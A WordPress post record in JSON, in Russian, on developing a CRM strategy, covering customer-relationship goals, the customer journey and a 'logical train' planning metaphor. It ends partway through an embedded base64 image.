{"id":6813,"date":"2020-09-04T17:14:25","date_gmt":"2020-09-04T17:14:25","guid":{"rendered":"https:\/\/marc-market.ch\/?p=6813"},"modified":"2022-09-11T12:59:07","modified_gmt":"2022-09-11T12:59:07","slug":"razrabotka-strategii-i-koncepcii-crm","status":"publish","type":"post","link":"https:\/\/marc-market.ch\/index.php\/2020\/09\/04\/razrabotka-strategii-i-koncepcii-crm\/","title":{"rendered":"\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u0418 \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 Crm"},"content":{"rendered":"<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\">\n<p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">\u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435<\/p>\n<ul class=\"toc_list\">\n<li><a href=\"#toc-0\">\u041f\u0440\u0438\u043c\u0435\u0440\u044b \u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f<\/a><\/li>\n<li><a href=\"#toc-1\">\u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f\u043c\u0438 \u0421 \u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438: Crm \u0418 \u041b\u043e\u044f\u043b\u044c\u043d\u043e\u0441\u0442\u044c<\/a><\/li>\n<li><a href=\"#toc-2\">\u0428\u0430\u0433 3  \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0418 \u0422\u0438\u043f \u0414\u0430\u043d\u043d\u044b\u0445<\/a><\/li>\n<li><a href=\"#toc-3\">\u0428\u0430\u0433\u043e\u0432 \u041a \u042d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0439 Crm<\/a><\/li>\n<li><a href=\"#toc-4\">\u0424\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u0420\u0430\u0431\u043e\u0442\u044b \u0421\u00a0\u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438<\/a><\/li>\n<li><a href=\"#toc-5\">\u0428\u0430\u0433 4  \u041e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u043c \u0422\u043e\u0447\u043a\u0438 \u0421\u043e\u043f\u0440\u0438\u043a\u043e\u0441\u043d\u043e\u0432\u0435\u043d\u0438\u044f \u041a\u043b\u0438\u0435\u043d\u0442\u0430 \u0421 \u0411\u0438\u0437\u043d\u0435\u0441\u043e\u043c<\/a><\/li>\n<\/ul>\n<\/div>\n<p>\u0410\u043d\u0430\u043b\u0438\u0437 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 CRM \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0442\u044c \u043a\u0440\u043e\u0441\u0441-\u043f\u0440\u043e\u0434\u0430\u0436\u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0438\u0432\u043d\u043e. \u041f\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044e \u043d\u0430 2014 \u0433\u043e\u0434 \u0431\u043e\u043b\u0435\u0435 70% \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438. \u0412 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u043a\u0440\u0438\u0437\u0438\u0441\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0441\u043f\u0440\u043e\u0441\u0430, \u043d\u043e \u0432 \u0446\u0435\u043b\u043e\u043c \u0440\u044b\u043d\u043e\u043a CRM \u0432 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0440\u0430\u043d\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0433\u043e\u0434\u044b \u0441\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438 \u0441\u0440\u0435\u0434\u0438 \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0441\u0438\u043b\u044c\u043d\u043e \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u0441\u044f \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0441\u0442\u0438.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"https:\/\/xcritical.com\/wp-content\/uploads\/2021\/05\/90294c59-743b-491b-b622-86c126be572f.jpg\" width=\"302px%\" alt=\"crm \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f\"\/><\/p>\n<p>\u0413\u043b\u0430\u0432\u043d\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430, \u0441\u0438\u043d\u0442\u0435\u0437 \u0438 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f. \u0424\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0432\u044f\u0437\u0438 \u043c\u0435\u0436\u0434\u0443 \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u043e\u0439 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0435\u0439 \u0438 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u2014 \u044d\u0442\u043e \u0442\u043e, \u0441 \u0447\u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u043d\u0430\u0447\u0430\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443. \u041d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 \u043d\u0443\u0436\u043d\u043e \u0447\u0435\u0442\u043a\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u043a\u0430\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0431\u0443\u0434\u0435\u0442 \u0441\u0447\u0438\u0442\u0430\u0442\u044c\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0438\u043c\u0435\u044e\u0449\u0438\u0445\u0441\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439. \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u0430\u043d\u043d\u044b\u0435 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043c\u0443\u043b\u044c\u0442\u0438\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0438 \u043e\u043c\u043d\u0438\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u044f. \u0423\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f\u043c\u0438 \u0441 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u043e\u0432\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0441\u043e\u043d\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0433\u043e \u043e\u043f\u044b\u0442\u0430.<\/p>\n<h2 id=\"toc-0\">\u041f\u0440\u0438\u043c\u0435\u0440\u044b \u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f<\/h2>\n<p>\u041f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043e\u043d\u043b\u0430\u0439\u043d-\u043f\u0440\u0438\u0432\u044b\u0447\u0435\u043a \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0432\u0430\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u0433\u0434\u0435 \u0438 \u043a\u0430\u043a \u043b\u0443\u0447\u0448\u0435 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u0412 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u0445, \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u044f \u2013 B2C, \u043f\u0443\u0442\u044c \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0438\u043c\u0435\u0435\u0442 \u043f\u0435\u0440\u0432\u043e\u0441\u0442\u0435\u043f\u0435\u043d\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435. \u0418\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u0435\u043b\u0438 \u0432\u044b\u0431\u0435\u0440\u0443\u0442 \u0442\u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e, \u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0438\u043c \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0442\u0434\u0435\u043b \u043f\u0440\u043e\u0434\u0430\u0436, \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433 \u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u043d\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0432 \u0438 \u0432\u043d\u0435\u0434\u0440\u0438\u0432 CRM-\u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0446\u0435\u043b\u044f\u043c \u0438 \u043f\u043b\u0430\u043d\u0430\u043c, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0440\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043b\u0438\u0434\u0435\u0440\u044b \u043d\u0430 \u0440\u044b\u043d\u043a\u0435 (\u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0433\u0440\u0430\u043c\u043e\u0442\u043d\u043e \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0431\u0438\u0437\u043d\u0435\u0441-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c, \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0449\u0438\u043c \u0434\u043e\u0441\u0442\u0438\u0447\u044c \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0446\u0435\u043b\u0435\u0439). \u041e\u0431\u044b\u0447\u043d\u043e \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0446\u0435\u043b\u0438 \u0431\u0438\u0437\u043d\u0435\u0441\u0430 \u0437\u0430\u0432\u044f\u0437\u0430\u043d\u044b \u043d\u0430 \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438.<\/p>\n<p>\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0438 &#8211; \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u043c\u0438\u0442\u0435\u0442\u0430, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043b\u0438\u0446\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 (\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043b\u0438\u0446\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430). \u041c\u0435\u0436\u0434\u0443 \u0442\u0435\u043c, \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e CRM-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438, \u0438 \u044d\u0442\u043e \u043d\u0435 \u0442\u0430\u043a \u0441\u043b\u043e\u0436\u043d\u043e, <a href=\"https:\/\/xcritical.com\/ru\/blog\/chto-takoe-strategicheskiy-crm\/\">crm \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f<\/a> \u0435\u0441\u043b\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0432\u0441\u0451 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c. \u0422\u043e\u0433\u0434\u0430 \u0438 \u0442\u0435\u043a\u0443\u0449\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438, \u0438 \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0435, \u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0443\u0434\u0443\u0442 \u0440\u0435\u0448\u0430\u0442\u044c\u0441\u044f \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435. \u041a\u043e\u0433\u0434\u0430 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0435\u0441\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438, \u043d\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u044e\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u0430\u043a \u043e\u0431\u0449\u0438\u0435 \u0434\u043b\u044f \u0432\u0441\u0435\u0445, \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c CRM \u043f\u0430\u0434\u0430\u0435\u0442.<\/p>\n<h2 id=\"toc-1\">\u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f\u043c\u0438 \u0421 \u041a\u043b\u0438\u0435\u043d\u0442\u0430\u043c\u0438: Crm \u0418 \u041b\u043e\u044f\u043b\u044c\u043d\u043e\u0441\u0442\u044c<\/h2>\n<p>\u041e\u043d \u043e\u043b\u0438\u0446\u0435\u0442\u0432\u043e\u0440\u044f\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0438\u043b\u0438 \u0446\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043e\u0441\u0442\u0438\u0447\u044c \u0442\u043e\u0440\u0433\u043e\u0432\u043e\u0439 \u043c\u0430\u0440\u043a\u0435 \u043d\u0430 \u0440\u044b\u043d\u043a\u0435. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043e\u043d\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043f\u0430\u0441\u0441\u0430\u0436\u0438\u0440\u043e\u0432 \u0438\u043b\u0438 \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u0435\u0439, \u043d\u0443\u0436\u0434\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0438\u0445 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0434\u043e \u043c\u0435\u0441\u0442\u0430 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. \u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u043e\u043d\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u043e\u0441\u043d\u043e\u0432\u0443, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u044e\u0449\u0443\u044e \u0438\u0434\u0435\u044e \u0441 \u0446\u0435\u043b\u044c\u044e. \u0412\u0432\u0435\u0440\u0445\u0443 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b, \u0432 \u00ab\u0432\u0430\u0433\u043e\u043d\u0447\u0438\u043a \u043a\u043e\u043d\u0434\u0443\u043a\u0442\u043e\u0440\u0430\u00bb, \u0432\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430. \u041c\u0435\u0436\u0434\u0443 \u0434\u0432\u0443\u043c\u044f \u043f\u043e\u043b\u044e\u0441\u0430\u043c\u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u00ab\u0432\u0430\u0433\u043e\u043d\u0447\u0438\u043a\u0438\u00bb, \u0432 \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043f\u043e\u043c\u0435\u0449\u0435\u043d\u043e \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0432\u0435\u043d\u043e, \u0441\u043e\u0435\u0434\u0438\u043d\u044f\u044e\u0449\u0435\u0435 \u0438\u0445. \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u044d\u0442\u043e\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0433\u0438\u043f\u043e\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c, \u043d\u043e \u00ab\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u043e\u0435\u0437\u0434\u00bb \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0438\u0434\u0435\u0439 CRM-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438.<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"data:image\/jpeg;base64,\/9j\/4AAQSkZJRgABAQAAAQABAAD\/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD\/2wBDAQMDAwQDBAgEBAgQCwkLEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBD\/wAARCADLAW4DASIAAhEBAxEB\/8QAHQABAAICAwEBAAAAAAAAAAAAAAcIBQYBAwQJAv\/EAFUQAAEDAwIEAgUIAwsIBwkAAAECAwQABQYHEQgSITETQRQiUWGRCRUYMlZxgdIWI6EXJDM1QlJiksHR0xklNHJ0orGyNkNzgpSz4UZTVFV1k6Pw8f\/EABwBAQABBQEBAAAAAAAAAAAAAAABAgMEBQYHCP\/EADwRAAEDAgQCCQIFAgQHAAAAAAEAAhEDBAUSITFBUQYTFBVhcYGRoQciMrHB0fBCUjNicvEWIzSCkrLh\/9oADAMBAAIRAxEAPwD5yUpSt2sdKUpREpSlESlKURKUpRFwrtX044HNG+CjXzSV1V+0Zcn5PiMFKr\/NfnzGkyXTzq5kBt8J+qAOgFfMivpR8kh\/0N1f\/wBlb\/8AKXVm4nq5BVTN1VS\/aX2TiX4gJ+N8H+ncmBYXozLkeBKfWExQhtIecccdWohJXuepPfpWL1v4P9ceH1q0zdQrDDFvvUgQ4s+DLTIjF8gkNqWAOVRAJHTsD7Ksv8j0E\/uvag9ub9Fxy+3\/AElvtUicRXin5OvTozOYu\/pVD\/hd+b\/SZHt69v2VSarm1AwbaKQ2RKrcv5MLinFtFxYt+LyVLhic3FZvSTIcaI3BCCkfd7N6jHRPhF1x19euycExthDFjeMafKuMkRmWXgdi2VHf1hsdxtX2fhzMZVqvYLLBZmtZxJ02ddgTHR4lvbiJfZSoONhSSpfirbPcbpBAIqjPDJgeWwdMtc8h1c1Fu8jBcXv1x+e8ZsbMdv58msOlTpU+pBdQ2paAAEKQdj3FW213lpJ8FJaJVQ8o4S9bsO1jsmheQY6xGybIikWz98gxpQVv6yXe2wKSD5gj7q3fN\/k6+KHT\/C73neQYvbPm2wNKkSkx7glx4spSFKcQgD1kgb7+fQ9KvjxVBB47uGFaE7AvTNvbt6mwrd8lkTXVcWzMp95bLMWEGUrUSlCTY2yeUHoB91OvdAP83hMgXyxx3gz1tynTrFtULPCs7llzC8RLHbOaeEvGTJe8JvnRy+qnm7nfoOteK+8I2t1j1sY4fxYYlxzB+OiWGIEoOsoZUCedThACQAOvs6V9L+E+VgMPg50Xd1BRKUwrLba1avA3\/jVcxSIhXt\/I8VQ38u2\/Soiv+C62X75UO52m06noxidNsnpoutsgtOONWYBI8BLcgOI8QqSAVHcb7kDb1aqFdxcRylRlCp7rfwVa98P2MNZnntit67Mt8RnJdumpkoYcJ2CXNgOU79Pv6VCtntF0yC7Q7HZYTsyfcH0Ro0dpO63XFkBKQPaSRX1p4nm8NjcB+pFjwuPdfRbHmM+2S5N1dDkmdcGbkUy5KiAEgLe8QgJCUgbbJSOg+dHCDynil0pCwOX9Lbbvv2\/h01cpVC5pJ4KC2Ctzz35Pjid05wSbqFf8TgOW62RjMnsQ56XpUVkJ5lLcbHYJTuTsTsAarcOo619ftdrfxLTNWtcnNHr9i8HGm8cifPzV6jrccda9Ac5wwQCAeTmH37V8gR2qaLy8ao4Qvq7rPpH8n1w24DheS6l6DPz3MmithK4VxnKJdDKVrUoekADfm8qotpDwiav8R675k2keMxWMZiT3WmplymCMwn1uZLQUrcqUlKkb\/f33r6U8Y\/ERj+gOjOnjl90htGc\/pBbxDaFwfQ36EoRUfrEczLm56+W3bvVe+DXGJ03hWy7UnU7OL8rS+DenH28JszcdoTHkPNLKnZJR4wSXCgcqFo6I3J2O1WKb3Np5vz1VRAmFTnNuGPWvAdVrdovfMOdXlV4WhNuixlh1MsLJAU2vsU9DuTttsd9tq3PVrgN4jtF8KkZ\/l+N2920QuX01dvnJkLiBWwBdSACkbke3uK+hus5Zc+Uo4c3Q0ltK8buqgk+X70m7D8OlRtxE2\/iUkJ4lZOE37F42njdwb+eItyjrVNd\/eEbm8BW3KPL8aqFdxy7fwwoygKmmjfAxxEa5YW3n+F43Bassla0Q37jNTGMwpUUq8JJBKhzJI36dQak\/gM4YMby7iezDRziIwD01ePYvLlLtsiQ8z4MtEyGhLgUytJUOR1e3UghW\/sq6eiF6xuw8IXDzNu2IXrIpxmQk2aJapCGVCeVPcinCtaEFH1two7bmtW0IulyvXyoeqlwuuNSrDLc09SFwZLrLrjZDtrAJUypSDv36KPfrVLqzjmHn+akNCpRxQ8DWomg+PzdVnXLO7iku9vxI8aFJU65BaW654CFk77+qkJJ3JB6HrXiw\/wCTx4os3wWHn9mxCCiFcYomw4smehqXIZKeZKkNH+cCCNyO4q3HE+zMj\/J4Xpq4NPNOnO5R5XkkK2NxfIPXy2qytt8b